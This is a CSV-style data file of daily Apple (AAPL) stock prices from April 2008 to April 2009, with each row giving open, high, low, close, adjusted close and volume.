-2008-04-15,21.342857360839844,21.38857078552246,20.817142486572266,21.1971435546875,18.443655014038086,174509300.0,AAPL -2008-04-16,21.674285888671875,22.014286041259766,21.51714324951172,21.957143783569336,19.104938507080078,198943500.0,AAPL -2008-04-17,22.0242862701416,22.285715103149414,21.907142639160156,22.06999969482422,19.203128814697266,176066800.0,AAPL -2008-04-18,22.731428146362305,23.18000030517578,22.625713348388672,23.005714416503906,20.01729393005371,256691400.0,AAPL -2008-04-21,23.1728572845459,24.071428298950195,23.108572006225586,24.022857666015625,20.902311325073242,259788200.0,AAPL -2008-04-22,23.91428565979004,24.0,22.584285736083984,22.885713577270508,19.912883758544922,359893100.0,AAPL -2008-04-23,23.435714721679688,23.54857063293457,23.011428833007812,23.270000457763672,20.247249603271484,376047700.0,AAPL -2008-04-24,23.6200008392334,24.28285789489746,22.74142837524414,24.13428497314453,20.9992618560791,424016600.0,AAPL -2008-04-25,24.385713577270508,24.44285774230957,23.7742862701416,24.247142791748047,21.09745979309082,248118500.0,AAPL -2008-04-28,24.25,24.821428298950195,24.161428451538086,24.605714797973633,21.409454345703125,196803600.0,AAPL -2008-04-29,24.444286346435547,25.09428596496582,24.321428298950195,25.007143020629883,21.75874137878418,230869100.0,AAPL -2008-04-30,25.170000076293945,25.714284896850586,24.702857971191406,24.850000381469727,21.622013092041016,284881100.0,AAPL -2008-05-01,24.994285583496094,25.714284896850586,24.979999542236328,25.714284896850586,22.3740291595459,225894200.0,AAPL -2008-05-02,25.74142837524414,25.988571166992188,25.507143020629883,25.84857177734375,22.490869522094727,251520500.0,AAPL -2008-05-05,25.988571166992188,26.472856521606445,25.864286422729492,26.389999389648438,22.961965560913086,213639300.0,AAPL -2008-05-06,26.3799991607666,26.731428146362305,26.025714874267578,26.665714263916016,23.20186424255371,229717600.0,AAPL -2008-05-07,26.578571319580078,26.885713577270508,25.79142951965332,26.084285736083984,22.69596290588379,289283400.0,AAPL -2008-05-08,26.252857208251953,26.64285659790039,26.152856826782227,26.437143325805664,23.00298500061035,224771400.0,AAPL -2008-05-09,26.165714263916016,26.321428298950195,25.90999984741211,26.207143783569336,22.8028564453125,168268100.0,AAPL -2008-05-12,26.45857048034668,26.981428146362305,26.121429443359375,26.8799991607666,23.3883113861084,204640800.0,AAPL -2008-05-13,26.944286346435547,27.350000381469727,26.837142944335938,27.137142181396484,23.612049102783203,205809100.0,AAPL -2008-05-14,27.318571090698242,27.46285629272461,26.510000228881836,26.608572006225586,23.152143478393555,229205900.0,AAPL -2008-05-15,26.687143325805664,27.128570556640625,26.314285278320312,27.104286193847656,23.58346176147461,218302000.0,AAPL -2008-05-16,27.158571243286133,27.185714721679688,26.714284896850586,26.8028564453125,23.32118797302246,191442300.0,AAPL -2008-05-19,26.837142944335938,26.95571517944336,25.899999618530273,26.22857093811035,22.821502685546875,236455100.0,AAPL -2008-05-20,25.974285125732422,26.59428596496582,25.731428146362305,26.55714225769043,23.10740089416504,242462500.0,AAPL -2008-05-21,26.5242862701416,26.850000381469727,25.178571701049805,25.45571517944336,22.149036407470703,289414300.0,AAPL -2008-05-22,25.608572006225586,25.904285430908203,24.571428298950195,25.292856216430664,22.007339477539062,301683900.0,AAPL -2008-05-23,25.82428550720215,25.998571395874023,25.399999618530273,25.881427764892578,22.519453048706055,226729300.0,AAPL -2008-05-27,26.10714340209961,26.632856369018555,25.977142333984375,26.632856369018555,23.17327308654785,197476300.0,AAPL -2008-05-28,26.772857666015625,26.850000381469727,26.24571418762207,26.715713500976562,23.2453670501709,185994900.0,AAPL -2008-05-29,26.68000030517578,26.885713577270508,26.5,26.670000076293945,23.205589294433594,161796600.0,AAPL -2008-05-30,26.77857208251953,27.0771427154541,26.768571853637695,26.964284896850586,23.461652755737305,152546100.0,AAPL -2008-06-02,26.94285774230957,27.092857360839844,26.36142921447754,26.58571434020996,23.132261276245117,169960000.0,AAPL -2008-06-03,26.694286346435547,26.885713577270508,26.04857063293457,26.481428146362305,23.041507720947266,187630100.0,AAPL -2008-06-04,26.288572311401367,26.727142333984375,26.17571449279785,26.45571517944336,23.019142150878906,181745900.0,AAPL -2008-06-05,26.6200008392334,27.1200008392334,26.52857208251953,27.06142807006836,23.546171188354492,188861400.0,AAPL -2008-06-06,26.85714340209961,27.135713577270508,26.507143020629883,26.520000457763672,23.075077056884766,241605700.0,AAPL -2008-06-09,26.398571014404297,26.420000076293945,25.10714340209961,25.944286346435547,22.57415199279785,472098200.0,AAPL -2008-06-10,25.78714370727539,26.682857513427734,25.57428550720215,26.520000457763672,23.075077056884766,285235300.0,AAPL -2008-06-11,26.334285736083984,26.571428298950195,25.65571403503418,25.829999923706055,22.474700927734375,240387700.0,AAPL -2008-06-12,25.927143096923828,26.08571434020996,24.457143783569336,24.751428604125977,21.536239624023438,327083400.0,AAPL -2008-06-13,24.520000457763672,24.8799991607666,23.61571502685547,24.624286651611328,21.425613403320312,336489300.0,AAPL -2008-06-16,24.47142791748047,25.41428565979004,24.152856826782227,25.26285743713379,21.981237411499023,262932600.0,AAPL -2008-06-17,25.44285774230957,25.998571395874023,25.34428596496582,25.91857147216797,22.55177879333496,224914200.0,AAPL -2008-06-18,25.874286651611328,26.02857208251953,25.33571434020996,25.535715103149414,22.21864891052246,202867000.0,AAPL -2008-06-19,25.507143020629883,26.04857063293457,25.257143020629883,25.842857360839844,22.48589515686035,197987300.0,AAPL -2008-06-20,25.621429443359375,25.85714340209961,25.0,25.038572311401367,21.786083221435547,222091800.0,AAPL -2008-06-23,24.96285629272461,25.125713348388672,24.50857162475586,24.73714256286621,21.523807525634766,161445200.0,AAPL -2008-06-24,24.624286651611328,25.11142921447754,24.518571853637695,24.75,21.534997940063477,155486800.0,AAPL -2008-06-25,24.944286346435547,25.547142028808594,24.84000015258789,25.341428756713867,22.049606323242188,161112700.0,AAPL -2008-06-26,24.867143630981445,24.977142333984375,24.001428604125977,24.03714370727539,20.914749145507812,217402500.0,AAPL -2008-06-27,23.78714370727539,24.367143630981445,23.450000762939453,24.29857063293457,21.142208099365234,260562400.0,AAPL -2008-06-30,24.312856674194336,24.571428298950195,23.8028564453125,23.920000076293945,20.812816619873047,171049200.0,AAPL -2008-07-01,23.461427688598633,24.959999084472656,23.428571701049805,24.954286575317383,21.71274185180664,277820200.0,AAPL -2008-07-02,25.02857208251953,25.350000381469727,24.025714874267578,24.025714874267578,20.904796600341797,209379800.0,AAPL -2008-07-03,24.227142333984375,24.595714569091797,23.678571701049805,24.3028564453125,21.14594078063965,130840500.0,AAPL -2008-07-07,24.73714256286621,25.304285049438477,24.55714225769043,25.022857666015625,21.772411346435547,205097900.0,AAPL -2008-07-08,25.05714225769043,25.671428680419922,24.677143096923828,25.649999618530273,22.31808853149414,222087600.0,AAPL -2008-07-09,25.742856979370117,25.84428596496582,24.87714195251465,24.89285659790039,21.659297943115234,223944000.0,AAPL -2008-07-10,24.988571166992188,25.334285736083984,24.481428146362305,25.23285675048828,21.955129623413086,210172200.0,AAPL -2008-07-11,25.067142486572266,25.301427841186523,24.428571701049805,24.654285430908203,21.451723098754883,232502900.0,AAPL -2008-07-14,25.605714797973633,25.614286422729492,24.7257137298584,24.84000015258789,21.613306045532227,221513600.0,AAPL -2008-07-15,24.639999389648438,24.81999969482422,23.770000457763672,24.234285354614258,21.086273193359375,260010800.0,AAPL -2008-07-16,24.314285278320312,24.704286575317383,24.08571434020996,24.687143325805664,21.48030662536621,186947600.0,AAPL -2008-07-17,24.871429443359375,24.997142791748047,24.484285354614258,24.54428482055664,21.355998992919922,189381500.0,AAPL -2008-07-18,24.07428550720215,24.235713958740234,23.571428298950195,23.592857360839844,20.52816390991211,217103600.0,AAPL -2008-07-21,23.842857360839844,23.928571701049805,23.01714324951172,23.755714416503906,20.66986656188965,340117400.0,AAPL -2008-07-22,21.285715103149414,23.251428604125977,20.932857513427734,23.145713806152344,20.139102935791016,469898100.0,AAPL -2008-07-23,23.56999969482422,24.0528564453125,23.079999923706055,23.751428604125977,20.6661434173584,265442100.0,AAPL -2008-07-24,23.474285125732422,23.608572006225586,22.635713577270508,22.718570709228516,19.76744842529297,209904800.0,AAPL -2008-07-25,22.91428565979004,23.285715103149414,22.66428565979004,23.15999984741211,20.151535034179688,158409300.0,AAPL -2008-07-28,23.191429138183594,23.209999084472656,22.002857208251953,22.05714225769043,19.191944122314453,195178200.0,AAPL -2008-07-29,22.20142936706543,22.77857208251953,21.950000762939453,22.440000534057617,19.525068283081055,171017700.0,AAPL -2008-07-30,22.540000915527344,22.927143096923828,22.297142028808594,22.84000015258789,19.873106002807617,181295800.0,AAPL -2008-07-31,22.505714416503906,23.171428680419922,22.42571449279785,22.707143783569336,19.75750732421875,159374600.0,AAPL -2008-08-01,22.842857360839844,22.855714797973633,22.25,22.3799991607666,19.472854614257812,136159800.0,AAPL -2008-08-04,22.371429443359375,22.55714225769043,21.84428596496582,21.889999389648438,19.046506881713867,148131900.0,AAPL -2008-08-05,22.202857971191406,22.97142791748047,22.117143630981445,22.948572158813477,19.967575073242188,172092900.0,AAPL -2008-08-06,22.85285758972168,23.91428565979004,22.571428298950195,23.45571517944336,20.40884017944336,197852200.0,AAPL -2008-08-07,23.244285583496094,23.735713958740234,23.071428298950195,23.367143630981445,20.33177375793457,168093100.0,AAPL -2008-08-08,23.408571243286133,24.235713958740234,23.39285659790039,24.22142791748047,21.075084686279297,178499300.0,AAPL -2008-08-11,24.295713424682617,25.214284896850586,24.238571166992188,24.79428482055664,21.573528289794922,222826100.0,AAPL -2008-08-12,24.788572311401367,25.612857818603516,24.78714370727539,25.247142791748047,21.96756362915039,209069700.0,AAPL -2008-08-13,25.42571449279785,25.714284896850586,25.128570556640625,25.614286422729492,22.287019729614258,210586600.0,AAPL -2008-08-14,25.4757137298584,25.77857208251953,25.40571403503418,25.617143630981445,22.28949546813965,177825200.0,AAPL -2008-08-15,25.5771427154541,25.678571701049805,25.007143020629883,25.105714797973633,21.84450340270996,177062900.0,AAPL -2008-08-18,25.08142852783203,25.40142822265625,24.83142852783203,25.055713653564453,21.801000595092773,138003600.0,AAPL -2008-08-19,24.93428611755371,25.295713424682617,24.54428482055664,24.790000915527344,21.569799423217773,154051100.0,AAPL -2008-08-20,24.96714210510254,25.277143478393555,24.801427841186523,25.1200008392334,21.856935501098633,126737800.0,AAPL -2008-08-21,24.924285888671875,25.064285278320312,24.555713653564453,24.898571014404297,21.66427230834961,134936200.0,AAPL -2008-08-22,25.117143630981445,25.35714340209961,25.08142852783203,25.255714416503906,21.97501564025879,109902800.0,AAPL -2008-08-25,25.16428565979004,25.17571449279785,24.522857666015625,24.649999618530273,21.4479923248291,121106300.0,AAPL -2008-08-26,24.68000030517578,24.98285675048828,24.658571243286133,24.805713653564453,21.583478927612305,111387500.0,AAPL -2008-08-27,24.75857162475586,25.108572006225586,24.59857177734375,24.952857971191406,21.71150779724121,119445200.0,AAPL -2008-08-28,25.040000915527344,25.178571701049805,24.678571701049805,24.81999969482422,21.595909118652344,107846200.0,AAPL -2008-08-29,24.70857048034668,24.785715103149414,24.148571014404297,24.218570709228516,21.072601318359375,149822400.0,AAPL -2008-09-02,24.628570556640625,24.785715103149414,23.571428298950195,23.74142837524414,20.65743637084961,195190800.0,AAPL -2008-09-03,23.834285736083984,24.097143173217773,23.428571701049805,23.851428985595703,20.753150939941406,183708700.0,AAPL -2008-09-04,23.694286346435547,23.98714256286621,22.972856521606445,23.031429290771484,20.039669036865234,185846500.0,AAPL -2008-09-05,22.65571403503418,23.200000762939453,22.52142906188965,22.882856369018555,19.910396575927734,196721000.0,AAPL -2008-09-08,23.510000228881836,23.555713653564453,21.637142181396484,22.559999465942383,19.629474639892578,261494800.0,AAPL -2008-09-09,22.408571243286133,22.851428985595703,21.398571014404297,21.66857147216797,18.853837966918945,311256400.0,AAPL -2008-09-10,21.760000228881836,22.141427993774414,21.257143020629883,21.658571243286133,18.845149993896484,243285700.0,AAPL -2008-09-11,21.16857147216797,21.855714797973633,20.85714340209961,21.80714225769043,18.974416732788086,242783800.0,AAPL -2008-09-12,21.558570861816406,21.558570861816406,20.928571701049805,21.277143478393555,18.513259887695312,198256800.0,AAPL -2008-09-15,20.290000915527344,21.09857177734375,20.051427841186523,20.051427841186523,17.446765899658203,230158600.0,AAPL -2008-09-16,19.12285804748535,20.35714340209961,18.878570556640625,19.98285675048828,17.38709831237793,299959100.0,AAPL -2008-09-17,19.784286499023438,19.78714370727539,18.261428833007812,18.261428833007812,15.889286041259766,300113800.0,AAPL -2008-09-18,18.652856826782227,19.347143173217773,17.239999771118164,19.15571403503418,16.667400360107422,419063400.0,AAPL -2008-09-19,20.371429443359375,20.600000381469727,19.472856521606445,20.1299991607666,17.515134811401367,357718900.0,AAPL -2008-09-22,19.99142837524414,20.035715103149414,18.665714263916016,18.72142791748047,16.289533615112305,214178300.0,AAPL -2008-09-23,18.83571434020996,19.399999618530273,18.09428596496582,18.1200008392334,15.766227722167969,320091100.0,AAPL -2008-09-24,18.181428909301758,18.707143783569336,17.878570556640625,18.387142181396484,15.998677253723145,261753800.0,AAPL -2008-09-25,18.542856216430664,19.255714416503906,18.360000610351562,18.847143173217773,16.3989200592041,251511400.0,AAPL -2008-09-26,17.84428596496582,18.542856216430664,17.571428298950195,18.31999969482422,15.9402494430542,281612800.0,AAPL -2008-09-29,17.088571548461914,17.097143173217773,14.369999885559082,15.037142753601074,13.083832740783691,655514300.0,AAPL -2008-09-30,15.464285850524902,16.428571701049805,15.185714721679688,16.23714256286621,14.12795639038086,406670600.0,AAPL -2008-10-01,15.988571166992188,16.051427841186523,15.341428756713867,15.588571548461914,13.563630104064941,324121000.0,AAPL -2008-10-02,15.430000305175781,15.541428565979004,14.285714149475098,14.300000190734863,12.442442893981934,402341100.0,AAPL -2008-10-03,14.857142448425293,15.214285850524902,13.521428108215332,13.867142677307129,12.065814018249512,573599600.0,AAPL -2008-10-06,13.1371431350708,14.111428260803223,12.505714416503906,14.020000457763672,12.19881534576416,526854300.0,AAPL -2008-10-07,14.35428524017334,14.5,12.70714282989502,12.737142562866211,11.082599639892578,469693000.0,AAPL -2008-10-08,12.272856712341309,13.761428833007812,12.239999771118164,12.827142715454102,11.160909652709961,551935300.0,AAPL -2008-10-09,13.335714340209961,13.685714721679688,12.371428489685059,12.677143096923828,11.030394554138184,404345900.0,AAPL -2008-10-10,12.242856979370117,14.285714149475098,12.142857551574707,13.828571319580078,12.032254219055176,554824900.0,AAPL -2008-10-13,14.935714721679688,15.789999961853027,14.431428909301758,15.751428604125977,13.70533275604248,384769000.0,AAPL -2008-10-14,16.608572006225586,16.628570556640625,14.734285354614258,14.868571281433105,12.93715763092041,495248600.0,AAPL -2008-10-15,14.834285736083984,15.285714149475098,13.984285354614258,13.992856979370117,12.17519760131836,396043900.0,AAPL -2008-10-16,14.252857208251953,14.775713920593262,13.105713844299316,14.55571460723877,12.66494083404541,495130300.0,AAPL -2008-10-17,14.228571891784668,14.577142715454102,12.270000457763672,13.914285659790039,12.106832504272461,440556900.0,AAPL -2008-10-20,14.25428581237793,14.289999961853027,13.377142906188965,14.062856674194336,12.236106872558594,387292500.0,AAPL -2008-10-21,13.850000381469727,13.985713958740234,13.022856712341309,13.069999694824219,11.372220993041992,548415000.0,AAPL -2008-10-22,13.90999984741211,14.464285850524902,13.275713920593262,13.838571548461914,12.04095458984375,562202200.0,AAPL -2008-10-23,13.787142753601074,14.178571701049805,13.128571510314941,14.032856941223145,12.210002899169922,418857600.0,AAPL -2008-10-24,12.904285430908203,13.985713958740234,12.872857093811035,13.768571853637695,11.980048179626465,397514600.0,AAPL -2008-10-27,13.581428527832031,13.947142601013184,13.122857093811035,13.15571403503418,11.446798324584961,302192800.0,AAPL -2008-10-28,13.632857322692871,14.357142448425293,13.195713996887207,14.272856712341309,12.41882610321045,408533300.0,AAPL -2008-10-29,14.408571243286133,15.648571014404297,14.277142524719238,14.935714721679688,12.99557876586914,487744600.0,AAPL -2008-10-30,15.46142864227295,16.027143478393555,15.372857093811035,15.8628568649292,13.802287101745605,409522400.0,AAPL -2008-10-31,15.342857360839844,15.825714111328125,15.020000457763672,15.369999885559082,13.373451232910156,414939000.0,AAPL -2008-11-03,15.132857322692871,15.585714340209961,14.979999542236328,15.279999732971191,13.29514217376709,264484500.0,AAPL -2008-11-04,15.712857246398926,15.970000267028809,15.238571166992188,15.855713844299316,13.79607105255127,349670300.0,AAPL -2008-11-05,15.558571815490723,15.674285888671875,14.712857246398926,14.757143020629883,12.840202331542969,314113800.0,AAPL -2008-11-06,14.435714721679688,14.682857513427734,14.0,14.157142639160156,12.318142890930176,329768600.0,AAPL -2008-11-07,14.177143096923828,14.264286041259766,13.674285888671875,14.034285545349121,12.211246490478516,273813400.0,AAPL -2008-11-10,14.3100004196167,14.342857360839844,13.5,13.697142601013184,11.917896270751953,280955500.0,AAPL -2008-11-11,13.544285774230957,13.881428718566895,13.180000305175781,13.53857135772705,11.779923439025879,306134500.0,AAPL -2008-11-12,13.204285621643066,13.319999694824219,12.85857105255127,12.874285697937012,11.20192813873291,294744100.0,AAPL -2008-11-13,12.838571548461914,13.777142524719238,12.28857135772705,13.777142524719238,11.987505912780762,463521800.0,AAPL -2008-11-14,13.394286155700684,13.427143096923828,12.857142448425293,12.89142894744873,11.21684455871582,351316700.0,AAPL -2008-11-17,12.640000343322754,12.935714721679688,12.465714454650879,12.591428756713867,10.955816268920898,290631600.0,AAPL -2008-11-18,12.80571460723877,12.998571395874023,12.408571243286133,12.84428596496582,11.175825119018555,302423800.0,AAPL -2008-11-19,12.777142524719238,13.082857131958008,12.315713882446289,12.327142715454102,10.725861549377441,292975200.0,AAPL -2008-11-20,12.177143096923828,12.350000381469727,11.428571701049805,11.498571395874023,10.00491714477539,429203600.0,AAPL -2008-11-21,11.704285621643066,12.017143249511719,11.30571460723877,11.79714298248291,10.264704704284668,392317800.0,AAPL -2008-11-24,12.172857284545898,13.541428565979004,12.119999885559082,13.278571128845215,11.55370044708252,360564400.0,AAPL -2008-11-25,13.518571853637695,13.529999732971191,12.59428596496582,12.971428871154785,11.28645133972168,308823200.0,AAPL -2008-11-26,12.845714569091797,13.607142448425293,12.835714340209961,13.571428298950195,11.808513641357422,224959000.0,AAPL -2008-11-28,13.528571128845215,13.537142753601074,13.122857093811035,13.238571166992188,11.518895149230957,74443600.0,AAPL -2008-12-01,13.04285717010498,13.181428909301758,12.70285701751709,12.704285621643066,11.054010391235352,230941900.0,AAPL -2008-12-02,12.861428260803223,13.235713958740234,12.357142448425293,13.210000038146973,11.494033813476562,287180600.0,AAPL -2008-12-03,12.771428108215332,13.747142791748047,12.685714721679688,13.699999809265137,11.920384407043457,334670000.0,AAPL -2008-12-04,13.489999771118164,13.601428985595703,12.722857475280762,13.058571815490723,11.362272262573242,272842500.0,AAPL -2008-12-05,12.907142639160156,13.498571395874023,12.69428539276123,13.428571701049805,11.684212684631348,260948800.0,AAPL -2008-12-08,13.89714241027832,14.399999618530273,13.685714721679688,14.24571418762207,12.395209312438965,296285500.0,AAPL -2008-12-09,14.005714416503906,14.800000190734863,13.8871431350708,14.294285774230957,12.437471389770508,300874000.0,AAPL -2008-12-10,13.981428146362305,14.212857246398926,13.785714149475098,14.029999732971191,12.20751667022705,234511900.0,AAPL -2008-12-11,13.907142639160156,14.462857246398926,13.54714298248291,13.571428298950195,11.808513641357422,260154300.0,AAPL -2008-12-12,13.257143020629883,14.142857551574707,13.218571662902832,14.03857135772705,12.214971542358398,260293600.0,AAPL -2008-12-15,13.712857246398926,13.744285583496094,13.285714149475098,13.535714149475098,11.777436256408691,222939500.0,AAPL -2008-12-16,13.425714492797852,13.782856941223145,13.25,13.632857322692871,11.861961364746094,273376600.0,AAPL -2008-12-17,13.00428581237793,13.014286041259766,12.574285507202148,12.737142562866211,11.082599639892578,323465100.0,AAPL -2008-12-18,12.75857162475586,12.975714683532715,12.634285926818848,12.775713920593262,11.11616039276123,214354000.0,AAPL -2008-12-19,12.84857177734375,12.99142837524414,12.685714721679688,12.857142448425293,11.18701457977295,200480000.0,AAPL -2008-12-22,12.859999656677246,12.861428260803223,12.09857177734375,12.248571395874023,10.657491683959961,211185100.0,AAPL -2008-12-23,12.40999984741211,12.552857398986816,12.271428108215332,12.34000015258789,10.737046241760254,158757900.0,AAPL -2008-12-24,12.30571460723877,12.321428298950195,12.078571319580078,12.148571014404297,10.57048225402832,67833500.0,AAPL -2008-12-26,12.377142906188965,12.488571166992188,12.177143096923828,12.25857162475586,10.666194915771484,77081200.0,AAPL -2008-12-29,12.359999656677246,12.517143249511719,12.152856826782227,12.372857093811035,10.765633583068848,171500000.0,AAPL -2008-12-30,12.488571166992188,12.578571319580078,12.10285758972168,12.327142715454102,10.725861549377441,241900400.0,AAPL -2008-12-31,12.281428337097168,12.534285545349121,12.191428184509277,12.192856788635254,10.609017372131348,151885300.0,AAPL -2009-01-02,12.268571853637695,13.005714416503906,12.165714263916016,12.964285850524902,11.280237197875977,186503800.0,AAPL -2009-01-05,13.3100004196167,13.739999771118164,13.244285583496094,13.511428833007812,11.756305694580078,295402100.0,AAPL -2009-01-06,13.70714282989502,13.881428718566895,13.19857120513916,13.28857135772705,11.562398910522461,322327600.0,AAPL -2009-01-07,13.115714073181152,13.214285850524902,12.894286155700684,13.001428604125977,11.312555313110352,188262200.0,AAPL -2009-01-08,12.918571472167969,13.307143211364746,12.8628568649292,13.242856979370117,11.52262020111084,168375200.0,AAPL -2009-01-09,13.315713882446289,13.34000015258789,12.877142906188965,12.9399995803833,11.25910758972168,136711400.0,AAPL -2009-01-12,12.922857284545898,12.998571395874023,12.507143020629883,12.665714263916016,11.0204496383667,154429100.0,AAPL -2009-01-13,12.605713844299316,12.819999694824219,12.335714340209961,12.529999732971191,10.902366638183594,199599400.0,AAPL -2009-01-14,12.319999694824219,12.464285850524902,12.10285758972168,12.1899995803833,10.606528282165527,255416000.0,AAPL -2009-01-15,11.510000228881836,12.017143249511719,11.435714721679688,11.911428451538086,10.364144325256348,457908500.0,AAPL -2009-01-16,12.04285717010498,12.054286003112793,11.485713958740234,11.761428833007812,10.233630180358887,261906400.0,AAPL -2009-01-20,11.704285621643066,11.714285850524902,11.171428680419922,11.171428680419922,9.720270156860352,229978700.0,AAPL -2009-01-21,11.341428756713867,11.84000015258789,11.329999923706055,11.832857131958008,10.295780181884766,272317500.0,AAPL -2009-01-22,12.577142715454102,12.857142448425293,12.260000228881836,12.622857093811035,10.983160972595215,352382100.0,AAPL -2009-01-23,12.402856826782227,12.838571548461914,12.357142448425293,12.622857093811035,10.983160972595215,190942500.0,AAPL -2009-01-26,12.69428539276123,12.99571418762207,12.614285469055176,12.80571460723877,11.142265319824219,173059600.0,AAPL -2009-01-27,12.884285926818848,13.078571319580078,12.819999694824219,12.96142864227295,11.277750968933105,154509600.0,AAPL -2009-01-28,13.15999984741211,13.571428298950195,13.071428298950195,13.45714282989502,11.70907211303711,215351500.0,AAPL -2009-01-29,13.298571586608887,13.477143287658691,13.228571891784668,13.285714149475098,11.55991268157959,148182300.0,AAPL -2009-01-30,13.228571891784668,13.374285697937012,12.85857105255127,12.875714302062988,11.203171730041504,162869700.0,AAPL -2009-02-02,12.728571891784668,13.142857551574707,12.699999809265137,13.072856903076172,11.374706268310547,139561800.0,AAPL -2009-02-03,13.131428718566895,13.34000015258789,12.89714241027832,13.282856941223145,11.557426452636719,149827300.0,AAPL -2009-02-04,13.317142486572266,13.75,13.300000190734863,13.364285469055176,11.628278732299805,202105400.0,AAPL -2009-02-05,13.252857208251953,13.892857551574707,13.231428146362305,13.779999732971191,11.989989280700684,187311600.0,AAPL -2009-02-06,13.859999656677246,14.285714149475098,13.857142448425293,14.24571418762207,12.395209312438965,171802400.0,AAPL -2009-02-09,14.285714149475098,14.714285850524902,14.214285850524902,14.644286155700684,12.742009162902832,178752700.0,AAPL -2009-02-10,14.475714683532715,14.644286155700684,13.865714073181152,13.975714683532715,12.16028118133545,212265200.0,AAPL -2009-02-11,13.767143249511719,14.044285774230957,13.681428909301758,13.831428527832031,12.034738540649414,168743400.0,AAPL -2009-02-12,13.6899995803833,14.25,13.6899995803833,14.181428909301758,12.339273452758789,204297100.0,AAPL -2009-02-13,14.14142894744873,14.277142524719238,14.017143249511719,14.165714263916016,12.325603485107422,152244400.0,AAPL -2009-02-17,13.838571548461914,13.8628568649292,13.468571662902832,13.50428581237793,11.750090599060059,169559600.0,AAPL -2009-02-18,13.578571319580078,13.692856788635254,13.24571418762207,13.481428146362305,11.730201721191406,171194800.0,AAPL -2009-02-19,13.338571548461914,13.464285850524902,12.872857093811035,12.94857120513916,11.26656436920166,230701100.0,AAPL -2009-02-20,12.771428108215332,13.199999809265137,12.714285850524902,13.028571128845215,11.336175918579102,187579000.0,AAPL -2009-02-23,13.092857360839844,13.142857551574707,12.35857105255127,12.421428680419922,10.80789852142334,196745500.0,AAPL -2009-02-24,12.492856979370117,12.984285354614258,12.428571701049805,12.892857551574707,11.218087196350098,201776400.0,AAPL -2009-02-25,12.837142944335938,13.274285316467285,12.75,13.022856712341309,11.331196784973145,208263300.0,AAPL -2009-02-26,13.142857551574707,13.274285316467285,12.708571434020996,12.74142837524414,11.08633041381836,157467100.0,AAPL -2009-02-27,12.561429023742676,13.04285717010498,12.524285316467285,12.75857162475586,11.101242065429688,176664600.0,AAPL -2009-03-02,12.588571548461914,13.028571128845215,12.524285316467285,12.562856674194336,10.930953025817871,192732400.0,AAPL -2009-03-03,12.704285621643066,12.962857246398926,12.554286003112793,12.624285697937012,10.984400749206543,181085100.0,AAPL -2009-03-04,12.882857322692871,13.252857208251953,12.778571128845215,13.024285316467285,11.332444190979004,185350900.0,AAPL -2009-03-05,12.922857284545898,13.124285697937012,12.635714530944824,12.691428184509277,11.042821884155273,176724800.0,AAPL -2009-03-06,12.619999885559082,12.628571510314941,11.761428833007812,12.185714721679688,10.602801322937012,252786800.0,AAPL -2009-03-09,12.025713920593262,12.514286041259766,11.795714378356934,11.872857093811035,10.330583572387695,174574400.0,AAPL -2009-03-10,12.124285697937012,12.738571166992188,12.05142879486084,12.661428451538086,11.01672077178955,211064700.0,AAPL -2009-03-11,12.829999923706055,13.438570976257324,12.79714298248291,13.239999771118164,11.520136833190918,211593200.0,AAPL -2009-03-12,13.271428108215332,13.79714298248291,13.142857551574707,13.764286041259766,11.976319313049316,192114300.0,AAPL -2009-03-13,13.757143020629883,13.885714530944824,13.572856903076172,13.704285621643066,11.924113273620605,150292100.0,AAPL -2009-03-16,13.789999961853027,13.912857055664062,13.454285621643066,13.631428718566895,11.860719680786133,199311000.0,AAPL -2009-03-17,13.605713844299316,14.24142837524414,13.581428527832031,14.237142562866211,12.387749671936035,196661500.0,AAPL -2009-03-18,14.272856712341309,14.782856941223145,14.24571418762207,14.502857208251953,12.618947982788086,199009300.0,AAPL -2009-03-19,14.550000190734863,14.742856979370117,14.321428298950195,14.517143249511719,12.631378173828125,125045200.0,AAPL -2009-03-20,14.584285736083984,14.729999542236328,14.367142677307129,14.512857437133789,12.627650260925293,173896800.0,AAPL -2009-03-23,14.672857284545898,15.451428413391113,14.535714149475098,15.380000114440918,13.382150650024414,166599300.0,AAPL -2009-03-24,15.19428539276123,15.634285926818848,15.05571460723877,15.214285850524902,13.23796558380127,160153000.0,AAPL -2009-03-25,15.368571281433105,15.479999542236328,14.837142944335938,15.212857246398926,13.236722946166992,161654500.0,AAPL -2009-03-26,15.404285430908203,15.71142864227295,15.368571281433105,15.695713996887207,13.656853675842285,154063000.0,AAPL -2009-03-27,15.46142864227295,15.50428581237793,15.199999809265137,15.264286041259766,13.281468391418457,123218200.0,AAPL -2009-03-30,14.930000305175781,15.001428604125977,14.658571243286133,14.927143096923828,12.988123893737793,125699000.0,AAPL -2009-03-31,15.064285278320312,15.350000381469727,15.0,15.017143249511719,13.066431999206543,142520000.0,AAPL -2009-04-01,14.869999885559082,15.571428298950195,14.841428756713867,15.527142524719238,13.510181427001953,147343000.0,AAPL -2009-04-02,15.734285354614258,16.39285659790039,15.682857513427734,16.101428985595703,14.009868621826172,203091700.0,AAPL -2009-04-03,16.312856674194336,16.59000015258789,16.21714210510254,16.56999969482422,14.417572021484375,159060300.0,AAPL -2009-04-06,16.420000076293945,16.964284896850586,16.182857513427734,16.921428680419922,14.723349571228027,164516100.0,AAPL -2009-04-07,16.64714241027832,16.667142868041992,16.312856674194336,16.428571701049805,14.294515609741211,134145200.0,AAPL -2009-04-08,16.489999771118164,16.68428611755371,16.368572235107422,16.617143630981445,14.45859146118164,113907500.0,AAPL -2009-04-09,16.917142868041992,17.14285659790039,16.851428985595703,17.08142852783203,14.862565040588379,132689200.0,AAPL -2009-04-13,17.144285202026367,17.28285789489746,17.0,17.174285888671875,14.943364143371582,97309100.0,AAPL -2009-04-14,17.08142852783203,17.167142868041992,16.75,16.90142822265625,14.705946922302246,113655500.0,AAPL -2009-04-15,16.742856979370117,16.89285659790039,16.53714370727539,16.805713653564453,14.622668266296387,103220600.0,AAPL -2009-04-16,17.027143478393555,17.592857360839844,16.969999313354492,17.350000381469727,15.096248626708984,148361500.0,AAPL -2009-04-17,17.31142807006836,17.75,17.178571701049805,17.631427764892578,15.341123580932617,124373900.0,AAPL -2009-04-20,17.389999389648438,17.56999969482422,17.022857666015625,17.214284896850586,14.978166580200195,116616500.0,AAPL -2009-04-21,16.984285354614258,17.448572158813477,16.94285774230957,17.394285202026367,15.134781837463379,117671400.0,AAPL -2009-04-22,17.518571853637695,17.907142639160156,17.314285278320312,17.358572006225586,15.103704452514648,234691800.0,AAPL -2009-04-23,18.088571548461914,18.171428680419922,17.644285202026367,17.91428565979004,15.587236404418945,236289200.0,AAPL 